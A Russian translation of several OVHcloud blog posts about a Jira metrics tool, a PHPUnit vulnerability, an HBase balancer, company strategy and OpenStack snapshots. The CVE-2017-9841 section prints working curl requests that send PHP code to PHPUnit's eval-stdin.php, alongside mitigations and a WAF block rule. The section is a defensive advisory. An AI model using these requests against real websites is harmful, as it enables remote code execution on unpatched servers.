Итак, давайте откроем новый спринт в JIRA и начнем работать над нашей задачей. Это дает нам следующее представление JIRA:



Джерем собирает следующие показатели для каждого спринта:

  • erem.jira.sprint.storypoint.total
    : общее количество очков истории, набранных в спринт.
  • jerem.jira.sprint.storypoint.inprogress
    : сюжетные точки, которые в настоящее время выполняются в рамках спринта.
  • jerem.jira.sprint.storypoint.done
    : количество очков истории, набранных на данный момент за спринт.
  • jerem.jira.sprint.events
    : даты начала и окончания спринта, записанные как строковые значения Warp10.



Как вы можете видеть в представлении «Показатели» выше, мы будем записывать каждую метрику спринта дважды. Мы делаем это, чтобы быстро просмотреть активный спринт, поэтому мы используем метку «текущий». Это также позволяет нам запрашивать прошлые спринты, используя настоящее имя спринта. Конечно, активный спринт также можно запросить по его имени.

Данные о препятствиях

Запуск спринта означает, что вам нужно знать все задачи, над которыми вам придется работать в течение следующих нескольких дней. Но как мы можем отслеживать и измерять незапланированные задачи? Например, очень срочное для вашего менеджера или товарища по команде, которому нужна небольшая помощь?

Мы можем добавить в JIRA специальные билеты, чтобы отслеживать выполнение этой задачи. Это то, что мы называем «препятствием». Они маркируются в соответствии с их природой. Если, например, постановка требует вашего внимания, то это препятствие «Инфра». Вы также получите метрики для «Всего» (все виды препятствий), «Избыточности» (незапланированные задачи), «Поддержка» (помощь товарищам по команде) и «Исправление ошибок или другое» (для всех других видов препятствий).

Каждое препятствие принадлежит активному спринту, в котором оно было закрыто. Чтобы закрыть препятствие, вам нужно только пометить его как «Готово» или «Закрыто».

Мы также получаем такие показатели, как:

  • jerem.jira.impediment.TYPE.count
    : количество препятствий, возникших во время спринта.
  • jerem.jira.impediment.TYPE.timespent
    : количество времени, затраченного на устранение препятствий во время спринта.

TYPE соответствует виду зафиксированного препятствия. Поскольку мы не обнаружили никаких реальных препятствий, Джерем собирает только totalметрики.



Чтобы начать запись препятствий, мы просто создаем новую задачу JIRA, в которую добавляем метку «препятствие». Мы также устанавливаем его характер и фактическое время, потраченное на это.



В качестве препятствия мы также извлекаем глобальные метрики, которые всегда записывает Джерем:

  • jerem.jira.impediment.total.created: время, затраченное с даты создания на устранение препятствия. Это позволяет нам получить общее количество препятствий. Мы также можем записывать все действия с препятствиями, даже вне спринтов.

Для одного проекта Jira, как в нашем примере, вы можете ожидать около 300 показателей. Это может увеличиваться в зависимости от эпика, который вы создаете и помечаете в Jira, и того, который вы закрываете.

Панель управления Grafana

Нам нравится создавать информационные панели Grafana! Они дают команде и менеджеру много информации о ключевых показателях эффективности. Лучшее в этом для меня, как разработчика, — это то, что я понимаю, почему хорошо выполнять задачу JIRA!

На нашей первой панели управления Grafana вы найдете все лучшие KPI для управления программами. Начнем с глобального обзора:

Обзор квартальных данных



Здесь вы найдете текущую эпопею. Вы также найдете глобальные ключевые показатели эффективности команды, такие как предсказуемость, скорость и статистика препятствий. Здесь происходит волшебство! При правильном заполнении эта панель инструментов точно покажет вам, что ваша команда должна выполнить в текущем квартале. Это означает, что у вас есть быстрый доступ ко всем актуальным темам. Вы также сможете увидеть, не ожидается ли, что ваша команда будет работать по слишком большому количеству вопросов, чтобы вы могли быстро принять меры и отложить некоторые из новых функций.

Данные активного спринта



Активная панель данных спринта часто оказывается отличной поддержкой во время наших ежедневных встреч. На этой панели мы получаем краткий обзор достижений команды и можем установить время, потраченное на параллельные задачи.

Подробные данные



В последней части представлены более подробные данные. Используя переменную epic Grafana, мы можем проверять конкретные эпики, а также завершение более глобальных проектов. У вас также есть velocity chart, который отображает прошлый спринт и сравнивает ожидаемые баллы истории с фактически завершенными.

Панель управления Grafana доступна напрямую в проекте Jerem. Вы можете импортировать его прямо в Grafana, если у вас настроен действительный источник данных Warp 10.

Чтобы панель управления работала должным образом, вам необходимо настроить переменную проекта Grafana в виде списка WarpScript [ 'SAN' 'OTHER-PROJECT' ]. Если наш программный менеджер может это сделать, я уверен, вы сможете!

Настройка Jerem и автоматическая загрузка данных управления программами дают нам много полезного. Мне как разработчику это очень нравится, и я быстро привык отслеживать в JIRA гораздо больше событий, чем раньше. Вы можете напрямую видеть влияние ваших задач. Например, вы видите, как быстро продвигается дорожная карта, и можете определить любые узкие места, которые создают препятствия. Затем эти узкие места становятся эпопеями. Другими словами, как только мы начинаем использовать Jerem, мы просто заполняем его автоматически! Надеюсь, вам тоже понравится! Если у вас есть отзывы, мы будем рады их услышать.

CVE-2017-9841: что это такое и как мы защищаем наших клиентов?

Недавно обнаруженное ранее нарушение безопасности CVE (Common Vulnerabilities and Exposures), CVE-2017-9841, снова привлекло внимание благодаря предупреждению системы безопасности PrestaShop. К сожалению, он уже некоторое время эксплуатируется «в дикой природе».



Какие риски?

CVE-2017-9841 Уязвимость позволяет злоумышленнику удаленно запускать PHP — код на несовершенных сайтов, эксплуатируя брешь в PHPUnit.

Это может позволить пользователю, например:

  • Доступ к конфиденциальному контенту на целевом веб-сайте (файлы, учетные данные базы данных, контент базы данных…)
  • Изменить содержимое файлов
  • Рассылать спам
  • Установить вредоносное ПО

Ниже вы найдете иллюстрацию того, как можно использовать эту уязвимость:

Установите уязвимую версию PHPUnit с помощью композитора


В этом примере мы предполагаем, что:

  • Composer уже установлен и присутствует в переменной среды PATH
  • DocumentRoot веб-сайта находится в $ {HOME} / www.
  • Доменное имя сайта demo-cve.ovh

$ composer --no-cache --working-dir=${HOME}/www require phpunit/phpunit 5.6.2
./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 26 installs, 0 updates, 0 removals
  - Installing symfony/polyfill-ctype (v1.13.1): Downloading (100%)         
  - Installing symfony/yaml (v3.4.36): Downloading (100%)         
  - Installing sebastian/version (2.0.1): Downloading (100%)         
  - Installing sebastian/resource-operations (1.0.0): Downloading (100%)         
  - Installing sebastian/recursion-context (1.0.5): Downloading (100%)         
  - Installing sebastian/object-enumerator (1.0.0): Downloading (100%)         
  - Installing sebastian/global-state (1.1.1): Downloading (100%)         
  - Installing sebastian/exporter (1.2.2): Downloading (100%)         
  - Installing sebastian/environment (2.0.0): Downloading (100%)         
  - Installing sebastian/diff (1.4.3): Downloading (100%)         
  - Installing sebastian/comparator (1.2.4): Downloading (100%)         
  - Installing doctrine/instantiator (1.3.0): Downloading (100%)         
  - Installing phpunit/php-text-template (1.2.1): Downloading (100%)         
  - Installing phpunit/phpunit-mock-objects (3.4.4): Downloading (100%)         
  - Installing phpunit/php-timer (1.0.9): Downloading (100%)         
  - Installing phpunit/php-file-iterator (1.4.5): Downloading (100%)         
  - Installing sebastian/code-unit-reverse-lookup (1.0.1): Downloading (100%)         
  - Installing phpunit/php-token-stream (2.0.2): Downloading (100%)         
  - Installing phpunit/php-code-coverage (4.0.8): Downloading (100%)         
  - Installing webmozart/assert (1.6.0): Downloading (100%)         
  - Installing phpdocumentor/reflection-common (2.0.0): Downloading (100%)         
  - Installing phpdocumentor/type-resolver (1.0.1): Downloading (100%)         
  - Installing phpdocumentor/reflection-docblock (4.3.4): Downloading (100%)         
  - Installing phpspec/prophecy (1.10.1): Downloading (100%)         
  - Installing myclabs/deep-copy (1.9.4): Downloading (100%)         
  - Installing phpunit/phpunit (5.6.2): Downloading (100%)         
symfony/yaml suggests installing symfony/console (For validating YAML files using the lint command)
sebastian/global-state suggests installing ext-uopz (*)
phpunit/php-code-coverage suggests installing ext-xdebug (^2.5.1)
phpunit/phpunit suggests installing phpunit/php-invoker (~1.1)
phpunit/phpunit suggests installing ext-xdebug (*)
Package phpunit/phpunit-mock-objects is abandoned, you should avoid using it. No replacement was suggested.
Writing lock file
Generating autoload files


На удаленной машине мы воспользуемся уязвимостью и расшифруем текст в кодировке base64 с помощью PHP.

$ curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841


Имейте в виду, что уязвимость также может быть использована другими методами HTTP, кроме POST. Например:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPUT --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XDELETE --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XOPTIONS --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPATCH --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841


Как видите, эксплойт довольно простой, но очень мощный. Легко представить, какой вред может произойти.

Как уменьшить уязвимость?

Изначально нарушение было исправлено PHPUnit, когда впервые была раскрыта CVE. Однако не все поставщики CMS (например, PrestaShop) обновили версию, включенную в процесс установки.

Более того, PHPUnit не предназначен для использования на критических путях обслуживания веб-страниц. Это означает, что нет случаев использования, когда PHPUnit должен быть доступен для внешних HTTP-запросов.

Так что исправить довольно просто: нужно сделать PHPUnit недоступным.

Если обновления CMS недоступны (или не могут быть применены), можно выполнить любое из следующих действий:

  • Удалите модуль PHPUnit:
    • Через композитор (если установка производилась с помощью композитора)

$ composer --working-dir=${HOME}/www remove phpunit/phpunit
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 0 installs, 0 updates, 26 removals
  - Removing webmozart/assert (1.6.0)
  - Removing symfony/yaml (v3.4.36)
  - Removing symfony/polyfill-ctype (v1.13.1)
  - Removing sebastian/version (2.0.1)
  - Removing sebastian/resource-operations (1.0.0)
  - Removing sebastian/recursion-context (1.0.5)
  - Removing sebastian/object-enumerator (1.0.0)
  - Removing sebastian/global-state (1.1.1)
  - Removing sebastian/exporter (1.2.2)
  - Removing sebastian/environment (2.0.0)
  - Removing sebastian/diff (1.4.3)
  - Removing sebastian/comparator (1.2.4)
  - Removing sebastian/code-unit-reverse-lookup (1.0.1)
  - Removing phpunit/phpunit-mock-objects (3.4.4)
  - Removing phpunit/phpunit (5.6.2)
  - Removing phpunit/php-token-stream (2.0.2)
  - Removing phpunit/php-timer (1.0.9)
  - Removing phpunit/php-text-template (1.2.1)
  - Removing phpunit/php-file-iterator (1.4.5)
  - Removing phpunit/php-code-coverage (4.0.8)
  - Removing phpspec/prophecy (1.10.1)
  - Removing phpdocumentor/type-resolver (1.0.1)
  - Removing phpdocumentor/reflection-docblock (4.3.4)
  - Removing phpdocumentor/reflection-common (2.0.0)
  - Removing myclabs/deep-copy (1.9.4)
  - Removing doctrine/instantiator (1.3.0)
Generating autoload files


  • Удалите установочную папку

$ rm -rf ${HOME}/www/vendor/phpunit


  • Блокировать HTTP-запросы к URL-адресу, достигающему модуля PHPUnit

$ cat << EOF > ${HOME}/www/.htaccess 
<IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteRule ^vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php$ - [F]
</IfModule>
EOF


  • Запретить HTTP-запросы, нацеленные на папку «vendor»

$ cat << EOF > ${HOME}/www/vendor/.htaccess
Require all denied
EOF


Как веб-хостинг OVHcloud защищает вас?

Клиенты OVHcloud Web Hosting чрезвычайно разнообразны, поэтому исправления могут потребовать слишком много времени, чтобы применить их на каждом отдельном веб-сайте.

Поэтому мы решили применить высокоуровневую защиту для платформ веб-хостинга OVHcloud.

Ниже вы найдете простую схему инфраструктуры веб-хостинга OVHcloud:



  • IPLB (балансировщики нагрузки OVHcloud) являются точкой входа в кластеры веб-хостинга. Они несут свои IP-адреса и заботятся об их высокой доступности и балансировке нагрузки. Они передают запросы в « WAF ».
  • WAF (брандмауэр веб-приложений) обрабатывает весь трафик и может действовать как фильтр. Они направляют запросы на веб-серверы . « WAF » — это серверы верхнего уровня в стеке кластера. Они также очень доступны.
  • Веб-серверы отвечают за обслуживание ресурсов и выполнение сред (PHP, Node.js…).

Чтобы защитить всех пользователей нашего веб-хостинга OVHcloud, мы решили заблокировать все запросы к /phpunit/src/Util/PHP/eval-stdin.php со стороны WAF до того, как они достигнут наших веб-серверов.

Технически наше решение WAF основано на Naxsi. Поэтому на практике мы добавили правило для сопоставления и отклонения всех запросов с шаблоном «/phpunit/src/Util/PHP/eval-stdin.php», которое охватывает все методы HTTP. Заблокированные запросы вызывают ошибку HTTP 503.

Итак, если мы попробуем использовать эксплойт на сайте, размещенном на платформах веб-хостинга OVHcloud, мы получим следующий результат:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 
<html>
<head><title>503 Service Temporarily Unavailable</title></head> 
<body> 
<center><h1>503 Service Temporarily Unavailable</h1></center> 
<hr><center>nginx</center> 
</body> 
</html>


Ключевые цифры

Чтобы дать вам представление о масштабах этой атаки, мы заблокировали около 4,5 миллионов запросов, направленных на PHPUnit, за одну неделю, используя около 2000 различных шаблонов URL.
  • Запросы, заблокированные для каждого кластера в течение одного дня:




  • Самые популярные модели заблокированных запросов каждую неделю:



Некоторые лучшие практики

  • Если вы используете CMS, такую ​​как WordPress , PrestaShop , Drupal , Joomla! , или Ghost , обновляйте его компоненты (т. е. ядро ​​и плагины) и по возможности включайте автоматические обновления.
  • Используйте время выполнения (PHP, Node.js…), которое все еще поддерживается. Поддерживаемые версии PHP и версии, поддерживаемые Node.js , доступны по этим ссылкам.
  • Не устанавливайте «пакеты разработки» в производственной среде, если они вам не нужны.
  • Ограничьте доступ к ресурсам, которые не нужно размещать в Интернете. Папка «vendor» в Composer — хороший пример.
  • Иметь минимальные права доступа к файлам и папкам. Например, только некоторые из них должны быть доступны для записи.

Вклад в Apache HBase: настраиваемая балансировка данных

В сегодняшнем блоге мы собираемся взглянуть на наш вклад в разработку стохастического балансировщика нагрузки Apache HBase, основанный на нашем опыте запуска кластеров HBase для поддержки мониторинга OVHcloud.



Контекст

Вы когда-нибудь задумывались, как:

  • мы генерируем графики для вашего сервера OVHcloud или пакета веб-хостинга?
  • наши внутренние команды контролируют свои собственные серверы и приложения?

Все внутренние команды постоянно собирают данные телеметрии и мониторинга и отправляют их специальной группе, которая отвечает за обработку всех метрик и журналов, генерируемых инфраструктурой OVHcloud : команде Observability.

Мы перепробовали множество различных баз данных временных рядов и в итоге выбрали Warp10 для обработки наших рабочих нагрузок. Warp10 может быть интегрирован с различными решениями для работы с большими данными, предоставляемыми Apache Foundation. В нашем случае мы используем Apache HBase в качестве хранилища данных долгосрочного хранения для наших показателей.

Apache HBase , хранилище данных, построенное на основе Apache Hadoop , предоставляет эластичную распределенную карту с упорядочением по ключам. Таким образом, одна из ключевых особенностей Apache HBase для нас — это возможность сканировать , то есть получать ряд ключей. Благодаря этой функции мы можем оптимизировать тысячи точек данных .

У нас есть собственные выделенные кластеры, самый большой из которых имеет более 270 узлов для распределения наших рабочих нагрузок:

  • от 1,6 до 2 миллионов операций записи в секунду, 24/7
  • от 4 до 6 миллионов чтений в секунду
  • около 300 ТБ телеметрии, хранящейся в Apache HBase

Как вы, вероятно, можете себе представить, хранение 300 ТБ данных на 270 узлах сопряжено с некоторыми проблемами, связанными с перераспределением, поскольку каждый бит является горячими данными и должен быть доступен в любое время. Давайте нырнем!

Как работает балансировка в Apache HBase?

Прежде чем погрузиться в балансировщик, давайте посмотрим, как он работает. В Apache HBase данные разделяются на сегменты, вызываемые Regionsи распределяемые по ним RegionServers. Количество регионов будет увеличиваться по мере поступления данных, и в результате регионы будут разделены. Вот тут-то и пригодится Balancer. Он будет перемещать регионы, чтобы избежать появления горячих точек, RegionServerи эффективно распределяет нагрузку.



Фактическая реализация, называемая StochasticBalancer, использует подход, основанный на затратах:

  1. Сначала он вычисляет общую стоимость кластера, проходя через цикл 
    cost functions
    . Каждая функция стоимости возвращает число от 0 до 1 включительно , где 0 — это решение с наименьшей стоимостью и лучшим решением, а 1 — с максимально возможной стоимостью и наихудшим решением. Apache Hbase поставляется с несколькими функциями стоимости, которые измеряют такие вещи, как загрузка региона, загрузка таблицы, локальность данных, количество регионов на сервер RegionServer… Вычисленные затраты масштабируются с помощью соответствующих коэффициентов, определенных в конфигурации .
  2. Теперь, когда начальная стоимость вычислена, мы можем попробовать 
    Mutate
    наш кластер. Для этого Balancer создает случайный случай 
    nextAction
    , который может быть чем-то вроде замены двух регионов или перемещения одного региона на другой RegionServer . Действие применяется виртуально , после чего рассчитывается новая стоимость . Если новая стоимость ниже нашей предыдущей, действие сохраняется. В противном случае он пропускается. Эта операция повторяется 
    thousands of times
    , поэтому файл 
    Stochastic
    .
  3. В конце список допустимых действий применяется к фактическому кластеру.

Что у нас не работало?

Мы выяснили это для нашего конкретного варианта использования , который включает:

  • Один стол
  • Выделенные Apache HBase и Apache Hadoop, адаптированные к нашим требованиям
  • Хорошее распределение ключей

… Количество регионов на RegionServer было для нас настоящим пределом

Даже если стратегия балансировки кажется простой, мы действительно считаем, что возможность запускать кластер Apache HBase на разнородном оборудовании жизненно важна , особенно в облачных средах, потому что вы, возможно, не сможете снова купить те же спецификации сервера в будущем. В нашем предыдущем примере наш кластер вырос с 80 до 250 машин за четыре года. За это время мы купили новые ссылки на выделенные серверы и даже протестировали некоторые специальные внутренние ссылки.

В итоге мы получили разные группы оборудования: некоторые серверы могут обрабатывать только 180 регионов, тогда как самые большие могут обрабатывать более 900 . Из-за этого несоответствия нам пришлось отключить балансировщик нагрузки, чтобы избежать использования RegionCountSkewCostFunction , которая попыталась бы перенести все RegionServers в одно и то же количество регионов.



Два года назад мы разработали некоторые внутренние инструменты, которые отвечают за балансировку нагрузки по регионам в RegionServers. Этот инструмент действительно хорошо работал в нашем случае, упрощая повседневную работу нашего кластера.

Открытый исходный код лежит в основе OVHcloud , и это означает, что мы создаем наши инструменты на основе программного обеспечения с открытым исходным кодом, но также мы вносим свой вклад и возвращаем его сообществу. Когда мы поговорили, мы увидели, что не только нас беспокоит проблема гетерогенного кластера. Мы решили переписать наш инструментарий, чтобы сделать его более общим, и внести его непосредственно в проект HBase .

Наш вклад

Первый вклад был довольно простым, список функций стоимости был постоянным. Мы добавили возможность загрузки пользовательских функций стоимости.

Второй вклад касался добавления дополнительной функции costFunction для балансировки регионов в соответствии с правилом емкости.

Как это работает?

Балансировщик загрузит файл, содержащий строки правил. Правило состоит из регулярного выражения для имени хоста и ограничения. Например, мы могли бы иметь:

rs[0-9] 200
rs1[0-9] 50



RegionServers с именами хостов, соответствующими первым правилам, будут иметь ограничение 200 , а остальные 50 . Если совпадений нет, устанавливается значение по умолчанию.

Благодаря этому правилу у нас есть две ключевые части информации:
  • максимальное число областей для этого кластера
  • то правила для каждого сервера

Они 
HeterogeneousRegionCountCostFunction 
постараются сбалансировать регионы по своим возможностям.

Возьмем пример… Представьте, что у нас есть 20 RS:



  • 10 RS, названный 
    rs0
    в 
    rs9
    , нагруженные 60 регионов каждый, каждый из которых может рукоятку 200 регионов.
  • 10 RS, названные 
    rs10
    в 
    rs19
    , нагруженные 60 регионов каждый, каждый из которых может обрабатывать 50 областей.


Итак, исходя из следующих правил

rs[0-9] 200
rs1[0-9] 50


… Мы видим, что вторая группа перегружена, тогда как в первой группе много места.

Мы знаем, что можем обрабатывать максимум 2500 регионов (200 × 10 + 50 × 10), и в настоящее время у нас есть 1200 регионов (60 × 20). Таким образом, система 
HeterogeneousRegionCountCostFunction
поймет, что кластер заполнен на 48,0% (1200/2500). Основываясь на этой информации, мы попытаемся поставить все серверы RegionServers на ~ 48% нагрузки в соответствии с правилами.



Куда дальше?

Благодаря участникам Apache HBase наши исправления теперь объединены в основную ветку. Как только сопровождающие Apache HBase опубликуют новый выпуск, мы развернем и будем использовать его в любом масштабе. Это позволит больше автоматизировать с нашей стороны и упростит операции для группы наблюдения.

Участие было потрясающим путешествием. Что мне больше всего нравится в открытом исходном коде, так это возможность внести свой вклад и создать более надежное программное обеспечение. У нас было мнение о том, как следует решать ту или иную проблему, но обсуждения с сообществом помогли нам уточнить ее . Мы поговорили с инженерами из других компаний, которые, как и мы , испытывали трудности с развертыванием облака Apache HBase , и благодаря этим обменам наш вклад становился все более и более актуальным.

Если бы я был американцем...



« У тебя нет шансов». «Ты уже мертв». «Тебя сожрут заживо». За последние 21 год я слышал, как люди говорят эти вещи несколько раз в неделю. Их часто говорят люди, которые не понимают, что делает OVHcloud. Никогда не людьми в поле. Я их не виню. Они ясно думают: «Нельзя легко иметь конкурентов Amazon, Microsoft и Google»… Прежде всего, я всегда стремился стать участником соревнований и каждое утро говорю себе, что мы соревнуемся с лучшими в мире. Затем попробуйте назвать хоть одну компанию в мире, которая не будет конкурировать с этими гигантами, если они еще не являются конкурентами. Когда люди говорят мне, что у OVHcloud нет шансов, первое впечатление, которое я получаю, заключается в том, что они понятия не имеют, что они будут делать в своей области знаний. И то, что они не знают, как конкурировать с этими гигантами, не означает, что мы не нашли способа. Наоборот.

OVHcloud только что завершил свой четвертый стратегический план. В период с 2015 по 2019 год мы увеличились как минимум вдвое по всем нашим ключевым показателям эффективности. В этом году мы приступаем к реализации пятого стратегического плана, который завершится в 2024 году. Наша стратегия основана на пяти составляющих: культура, клиенты, облако, завоевание, затраты. В течение следующих нескольких месяцев мы сможем еще раз взглянуть на эту стратегию и поделиться подробностями нашего выполнения в 2020 году. В этом посте я хотел бы поделиться своим долгосрочным глобальным видением OVHcloud, основанным на европейских ценностях. С 1999 года я думал о том, где бы я хотел быть через 20 лет — и даже сегодня я думаю о том, где будет OVHcloud в 2040 году.



Есть ряд косвенных факторов:

  • OVHcloud проектирует и строит собственные центры обработки данных и управляет собственной волоконно-оптической сетью в Европе и Северной Америке, а не арендует услуги у операторов.
  • Мы проектируем и строим наши собственные серверы в условиях бережливости и экономии на коротких замыканиях. И, создавая их вместо того, чтобы покупать их у крупных мировых производителей, мы можем заставить их точно соответствовать потребностям наших клиентов.
  • OVHcloud исходит из культуры открытого исходного кода и разрабатывает программные продукты, соответствующие рыночным стандартам. Он предлагает своим клиентам возможность взаимодействия, обратимость и контроль над их данными, а не блокирует их с сохранением и делает их зависимыми от наших услуг.
  • Мы также инвестируем в экономные перерывы, чтобы найти альтернативные пути создания продуктов, вместо того, чтобы следовать заранее установленным отраслевым правилам или копировать наших конкурентов.
  • Мы полагаемся на человеческий талант и культуру компании, чтобы работать разумно и способствовать прибыльному росту, вместо того, чтобы собирать деньги и разбавлять себя финансовыми инвесторами до тех пор, пока мы не потеряем контроль над своей судьбой.
  • Мы используем нашу экосистему для сотрудничества с партнерами по оборудованию, программному обеспечению и бизнесу. Мы строим вместе с ними и рассматриваем их ограничения и амбиции, а не систематически их приобретаем, интегрируем и навязываем им нашу стратегию.

OVHcloud предпочитает действовать по-другому, и именно поэтому у нас есть реальное ценностное предложение в конкуренции с веб-гигантами. Если вы сравните OVHcloud с его конкурентами, некоторые из наших облачных продуктов и решений лучше, а другие не так хороши — и то же самое касается компаний во всем мире. С другой стороны, у нас есть три ключевых характеристики, которых не хватает нашим конкурентам:

  • Во-первых, OVHcloud уже давно осознает, что клиентам нужны разные типы облаков: частное облако , публичное облако , гибридное облако , мультиоблако , веб-облако … Мы предлагаем их все.
  • Во-вторых, поскольку стоимость облачных решений является важным аспектом их бизнес-моделей, наши клиенты стремятся добиться предсказуемости и конкурентоспособности в облаке, которое они используют, и мы можем предоставить то, что им нужно.
  • Наконец, поскольку наши клиенты стремятся сохранить контроль над своими данными, мы гарантируем их суверенитет во всем мире.

С этим «облаком нового поколения» мы предлагаем эти три характеристики в дополнение ко всем другим стандартным требованиям, связанным с облачными решениями. Это то, что отличает нас от рынка облачных вычислений.

Чтобы быть гигантом, я мог бы разбавить свои доли в капитале OVHcloud, постепенно увеличивая капитал на несколько десятков миллиардов евро. Это позволило бы нам приобрести несколько компаний по всему миру, консолидировать рынки, а затем создать европейского гиганта, которого можно было бы сравнить с американскими и китайскими веб-гигантами. Если бы я однажды принял это решение, это было бы признанием неспособности следовать общему видению, которое мы разработали для Европы. Это будет означать, что в Европе нет собственной экономической модели, и все, что мы можем сделать, это принять модель США. Это также означало бы, что невозможно создать экосистему компаний, которые могут сотрудничать друг с другом, и что единственный путь вперед — заставить их подчиняться финансам, заставляя их работать друг с другом. Это будет означать отказ отстаивать наши ценности, то, во что мы верим, причина, по которой мы встаем каждое утро, и мечта, которую мы строим вместе. Это означало бы, что Европа застряла в 20 веке и неспособна вводить новшества, идти впереди или вдохновлять другие страны, предлагая новую модель капитализма.



Я могу думать так из-за моего личного прошлого, но, без сомнения, это еще и потому, что я мыслю как европеец. Свобода особенно важна для OVHcloud. Наш девиз: «Инновации во имя свободы», является символом этого видения. Если бы я был американцем, я бы, вероятно, владел всего 15% компании стоимостью несколько десятков миллиардов долларов, в отличие от 80% компании стоимостью несколько миллионов долларов. Если бы я был американцем, я бы подумал, что меньший кусок большего торта был бы для меня лучше, чем больший кусок меньшего торта. Но поскольку я европеец, я не думаю о кусках торта. Я думаю о долгосрочной перспективе, я думаю о Европе, я думаю об экосистеме и я думаю о «нас». Сегодня OVHcloud — единственное европейское облачное предприятие, которое достигло критического размера для работы во всем мире. Для меня было ответственностью укрепить это видение для европейцев в течение последних 20 лет, не подвергая OVHcloud тендерным предложениям, стратегическим изменениям, кризисам управления и финансовым кризисам.

OVHcloud — это инструмент, который я предлагаю европейцам, чтобы помочь им войти в этот новый, цифровой мир, сохраняя при этом свои ценности и мечты. Это инструмент 21-го века из-за его экосистемной ДНК и возможностей для сотрудничества. Даже если OVHcloud приобретет другие компании, мое главное стремление — не стать капиталистическим конгломератом, похожим на облачную версию Airbus. OVHcloud стремится способствовать созданию экосистемы, в которой компании могут раскрывать свой талант, сотрудничать вместе, оставаться независимыми и контролировать свою судьбу. OVHcloud стремится поддержать появление цифровых предприятий, которые будут приносить от 100 до 200 миллионов долларов годового дохода. Чтобы быть сильными, организации постоянно влияют на идентичность и основные ценности друг друга, чтобы они не исчезли. Быть сильным, Европейское облако должно работать как живая организация, состоящая из нескольких тысяч компаний, которые развиваются или исчезают. Таким образом, он может постоянно адаптироваться к текущей реальности. Он отличается от американских и китайских моделей, и я думаю, что он действительно наш. Это европейская модель.

Создание и использование снимков OpenStack

Что такое снимок в публичном облаке OpenStack / OVHcloud?

Снимок — это механизм, позволяющий создать новый образ из запущенного экземпляра. В основном это служит двум целям:

  1. В качестве механизма резервного копирования: сохраните основной диск вашего экземпляра в образ, а затем загрузите новый экземпляр из этого образа с сохраненными данными.
  2. В качестве механизма шаблонов: настройте базовое изображение и сохраните его для использования в качестве шаблона для новых экземпляров.



Можно делать снимки экземпляров, когда они работают или остановлены. Проще говоря, снимки — это изображения со следующими дополнительными свойствами:



Как создать снимок
Использование интерфейса командной строки

Чтобы создать моментальный снимок экземпляра с помощью интерфейса командной строки, используйте следующую команду:

# Load your OpenStack credentials
$ source openrc

# Using the openstack client
$ openstack server image create --name <name of the new image> <instance name or uuid>

# Or using the nova client (deprecated)
$ nova image-create <instance name or uuid> <name of the new image>


Использование Horizon

После входа в Horizon вы можете создать моментальный снимок на странице « Вычислить» → «Экземпляры », щелкнув действие «Создать моментальный снимок».



Статус снимка и информацию о нем можно найти на странице Compute → Images.



Затем вы можете выбрать снимок при создании нового экземпляра.

Снимки в реальном времени и согласованность данных

Мы называем моментальный снимок, сделанный для работающего экземпляра без простоя, «живым моментальным снимком».

Эти моментальные снимки представляют собой просто моментальные снимки только для диска и могут быть несовместимыми, если ОС экземпляра не знает, что моментальный снимок делается.

Это происходит, когда гипервизор останавливает экземпляр, чтобы разрешить создание «дельта-файла» перед возобновлением выполнения экземпляра. Это сделано для предотвращения записи экземпляра непосредственно на свой диск во время копирования. По завершении копирования экземпляр снова замораживается, чтобы позволить «дельту» слиться с диском экземпляра, а затем выполнение возобновляется с полностью объединенным диском.

Несоответствия могут появиться при первом зависании, если экземпляр не знает, что гипервизор делает снимок, потому что приложениям и ядру, работающим на экземпляре, не сказано очищать свои буферы.

Обеспечение согласованности снимков

OpenStack Nova полагается на QEMU для управления виртуальными машинами. QEMU также предоставляет инструменты для связи с агентом, установленным на экземпляре, чтобы позволить ему выполнять определенные действия перед моментальным снимком.

Эта связь происходит через виртуальное устройство, добавленное к экземпляру, когда OpenStack Nova обнаруживает, что используемое изображение имеет следующее свойство: hw_qemu_guest_agent set to yes.

Для ранее созданного личного образа вы можете установить свойства с помощью этой команды:

# Using the openstack client
$ openstack image set --property hw_qemu_guest_agent=yes <image name or uuid>

# Or using the glance client (deprecated)
$ glance image-update --property hw_qemu_guest_agent=yes <image name or uuid>


Чтобы проверить, что свойства действительно установлены, используйте следующую команду:

$ openstack image show -f value -c properties <image name or uuid>


На следующей диаграмме показан рабочий процесс создания снимка в этих условиях:



Конкретный шаг, который предотвращает любые несоответствия, — это №6: QEMU-agent замораживает файловую систему.

Настройка агента QEMU

Linux
Qemu-guest-agent не установлен по умолчанию, но после его установки и запуска механизм замораживания / размораживания файловой системы будет работать сразу после установки.

Вы можете проверить, настроен ли ваш экземпляр для связи с гипервизором, проверив конкретное устройство:

